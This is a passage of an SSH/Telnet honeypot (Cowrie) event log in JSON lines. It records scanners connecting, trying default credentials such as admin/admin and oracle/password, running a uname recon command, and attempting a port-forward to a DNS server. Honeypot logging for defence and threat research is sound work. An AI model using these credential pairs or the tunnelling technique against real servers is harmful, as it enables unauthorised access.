16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:21:58.573107Z","src_ip":"91.92.40.36","session":"e7dade03055c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":60258,"dst_ip":"159.203.135.109","dst_port":22,"session":"e54d9597b051","protocol":"ssh","message":"New connection: 194.59.206.2:60258 (159.203.135.109:22) [session: e54d9597b051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:02.995001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:02.999221Z","src_ip":"194.59.206.2","session":"e54d9597b051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:03.085741Z","src_ip":"194.59.206.2","session":"e54d9597b051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:03.176211Z","src_ip":"194.59.206.2","session":"e54d9597b051","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:03.963577Z","src_ip":"91.92.40.36","session":"e7dade03055c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53846,"dst_ip":"10.17.0.5","dst_port":22,"session":"87a581fd0f7c","protocol":"ssh","message":"New connection: 91.92.40.36:53846 (10.17.0.5:22) [session: 87a581fd0f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:05.190688Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:05.919400Z","src_ip":"91.92.40.36","session":"e7dade03055c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:05.922446Z","src_ip":"91.92.40.36","session":"e7dade03055c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:05.965044Z","src_ip":"91.92.40.36","session":"87a581fd0f7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:05.969828Z","src_ip":"91.92.40.36","session":"87a581fd0f7c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:07.207137Z","src_ip":"91.92.40.36","session":"e7dade03055c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:07.213063Z","src_ip":"91.92.40.36","session":"e7dade03055c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpine","message":"login attempt [root/alpine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:09.831078Z","src_ip":"91.92.40.36","session":"87a581fd0f7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:12.192932Z","src_ip":"91.92.40.36","session":"87a581fd0f7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56282,"dst_ip":"10.17.0.5","dst_port":22,"session":"134aca474f34","protocol":"ssh","message":"New connection: 91.92.40.36:56282 (10.17.0.5:22) [session: 134aca474f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:13.575648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:13.584609Z","src_ip":"91.92.40.36","session":"134aca474f34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:14.614357Z","src_ip":"91.92.40.36","session":"134aca474f34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"chris","message":"login attempt [aaa/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:18.150104Z","src_ip":"91.92.40.36","session":"134aca474f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":53732,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4741ac5cd30","protocol":"ssh","message":"New connection: 97.74.87.152:53732 (159.203.135.109:22) [session: a4741ac5cd30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:19.222556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:19.226909Z","src_ip":"97.74.87.152","session":"a4741ac5cd30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:19.457541Z","src_ip":"97.74.87.152","session":"a4741ac5cd30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345@12345","message":"login attempt [root/12345@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:20.412058Z","src_ip":"97.74.87.152","session":"a4741ac5cd30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26910,"dst_ip":"10.17.0.5","dst_port":22,"session":"a95171e8b6c4","protocol":"ssh","message":"New connection: 91.92.40.36:26910 (10.17.0.5:22) [session: a95171e8b6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:20.495347Z"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:20.567198Z","src_ip":"91.92.40.36","session":"134aca474f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":50240,"dst_ip":"10.17.0.5","dst_port":23,"session":"8374b184bf7b","protocol":"telnet","message":"New connection: 69.6.249.0:50240 (10.17.0.5:23) [session: 8374b184bf7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:21.253477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:21.530436Z","src_ip":"91.92.40.36","session":"a95171e8b6c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:21.534772Z","src_ip":"91.92.40.36","session":"a95171e8b6c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:21.645695Z","src_ip":"97.74.87.152","session":"a4741ac5cd30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:25.855517Z","src_ip":"91.92.40.36","session":"a95171e8b6c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:27.398586Z","src_ip":"91.92.40.36","session":"a95171e8b6c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57808,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8d5778ef5ee","protocol":"ssh","message":"New connection: 91.92.40.36:57808 (10.17.0.5:22) [session: f8d5778ef5ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:30.284450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:30.976792Z","src_ip":"91.92.40.36","session":"f8d5778ef5ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:32.043049Z","src_ip":"91.92.40.36","session":"f8d5778ef5ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2822,"dst_ip":"10.17.0.5","dst_port":22,"session":"36007fc75389","protocol":"ssh","message":"New connection: 87.251.64.176:2822 (10.17.0.5:22) [session: 36007fc75389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:32.191631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:32.196711Z","src_ip":"87.251.64.176","session":"36007fc75389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:32.327284Z","src_ip":"87.251.64.176","session":"36007fc75389","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:32.652472Z","src_ip":"87.251.64.176","session":"36007fc75389","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:32.757476Z","session":"36007fc75389","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:32.864493Z","src_ip":"87.251.64.176","session":"36007fc75389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:32.976134Z","src_ip":"87.251.64.176","session":"36007fc75389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57836,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e2f72c7f52e","protocol":"ssh","message":"New connection: 91.92.40.36:57836 (10.17.0.5:22) [session: 4e2f72c7f52e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:37.164546Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59786,"dst_ip":"10.17.0.5","dst_port":22,"session":"0529b385b36b","protocol":"ssh","message":"New connection: 27.71.230.31:59786 (10.17.0.5:22) [session: 0529b385b36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:38.079211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:22:38.124830Z","src_ip":"27.71.230.31","session":"0529b385b36b","protocol":"ssh"}
